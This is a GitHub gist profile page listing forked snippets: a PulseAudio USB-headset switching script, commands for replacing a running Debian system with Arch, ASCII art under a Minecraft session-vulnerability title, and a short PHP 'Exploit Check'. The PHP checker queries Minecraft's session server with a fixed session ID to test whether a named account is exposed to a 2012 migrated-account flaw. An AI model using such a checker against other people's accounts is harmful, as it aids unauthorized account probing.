Skip to content

Instantly share code, notes, and snippets.

View mbilker's full-sized avatar

Matthew Bilker mbilker

View GitHub Profile
@mbilker
mbilker / usb-headset.sh
Created October 24, 2016 16:18 — forked from ef4/usb-headset.sh
Automatically switch all PulseAudio streams to a USB headset
#!/bin/bash
# Adapted from Erik Johnson's script at
# http://terminalmage.net/2011/11/17/setting-a-usb-headset-as-the-default-pulseaudio-device/
#
# Updated by Edward Faulkner <[email protected]> to move existing
# streams and eliminate the extra fork script.
# You'll need to change these to point at your headset device.
OUTPUT="alsa_output.usb-Generic_FREETALK_Everyman_0000000001-00-Everyman.analog-stereo"
@mbilker
mbilker / replace-debian-with-arch.txt
Created January 28, 2016 16:52 — forked from m-ou-se/replace-debian-with-arch.txt
Instructions to replace a live Debian installation with Arch
# Download latest archlinux bootstrap package, see https://www.archlinux.org/download/
wget http://ftp.nluug.nl/os/Linux/distr/archlinux/iso/2016.01.01/archlinux-bootstrap-2016.01.01-x86_64.tar.gz
# Make sure you'll have enough entropy for pacman-key later.
apt-get install haveged
# Install the arch bootstrap image in a tmpfs.
mount -t tmpfs none /mnt
cd /mnt
tar xvf ~/archlinux-bootstrap-2016.01.01-x86_64.tar.gz --strip-components=1
@mbilker
mbilker / gist:3115762
Created July 15, 2012 07:42 — forked from ajvpot/gist:3115445
Exploit Check
<?php
$sessid = "herpderp"; //insert a session id from a migrated account here.
if(isset($_POST["name"]) && !empty($_POST["name"])){
$name=$_POST["name"];
$url="http://session.minecraft.net/game/joinserver.jsp?user=$name&sessionId=$sessid&serverId=a";
$res=file_get_contents($url);
if($res == "OK") die("<b><font color=green>The account ".htmlspecialchars($name)." is vulnerable.</font></b>");
if($res == "Bad login") die("<font color=red>The account ".htmlspecialchars($name)." is NOT vulnerable or is not migrated.</font>");
echo "Could not determine status of account ($res)";
}else{
@mbilker
mbilker / gist:3115752
Created July 15, 2012 07:41 — forked from md-5/gist:3115299
Minecraft Migrated Account Session Vulnerability
                  ████▓               
               ▓█▓▓▓▓▓██▒              
             ▒██▒▒▒▒▒▒▒▓█▓             
            ▓█▓▒▒▒▒▒▒▒▒▒▒██            
           ██▒▒▒▒▓███▓▒▒▒▒▓█▒          
         ▒█▓▒▓▓▓██▓░▓█▓▓▓▓▓▓█▓         
        ▓█▓▓▓▓▓██▓   ▒██▓▓▓▓▓██▒       
      ▒██▓▓▓▓███       ███▓▓▓▓██▓      
     ▓██▓█████▒         ▒█████████     

▒█████████ ▒▓▓▓▓▓▓▓▓▒▓█████████▒